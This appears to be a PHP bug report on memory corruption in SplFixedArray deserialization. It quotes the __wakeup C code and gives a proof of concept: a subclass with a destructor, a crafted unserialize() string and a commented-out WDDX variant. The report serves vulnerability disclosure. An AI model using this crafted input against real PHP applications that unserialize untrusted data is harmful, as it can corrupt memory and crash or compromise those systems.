Description:
------------
Memory Corruption in Extended SplFixedArray

```
SPL_METHOD(SplFixedArray, __wakeup)
{
	spl_fixedarray_object *intern = (spl_fixedarray_object *) zend_object_store_get_object(getThis() TSRMLS_CC);
	HashPosition ptr;
	HashTable *intern_ht = zend_std_get_properties(getThis() TSRMLS_CC);
...
		zend_hash_clean(intern_ht);
```

An extended SplFixedArray can contains some properties. In during SplFixedArray deserialization, the deserialized properties will be cleaned. Then destructor call with uninitialized properties that result in memory corruption.

PoC:
```
class obj extends SplFixedArray {
	var $prop;
	function __destruct() {
		if ($this->prop) {
			// doing whatever
		}
	}
}

unserialize('O:3:"obj":1:{s:4:"prop";i:1;}');

/*
$wddx = <<<EOT
<?xml version='1.0'?>
<wddxPacket version='1.0'>
<header/>
	<data>
		<struct>
			<var name='php_class_name'>
				<string>obj</string>
			</var>
			<var name='prop'>
				<number>1</number>
			</var>
		</struct>
	</data>
</wddxPacket>
EOT;

wddx_deserialize($wddx);
*/
```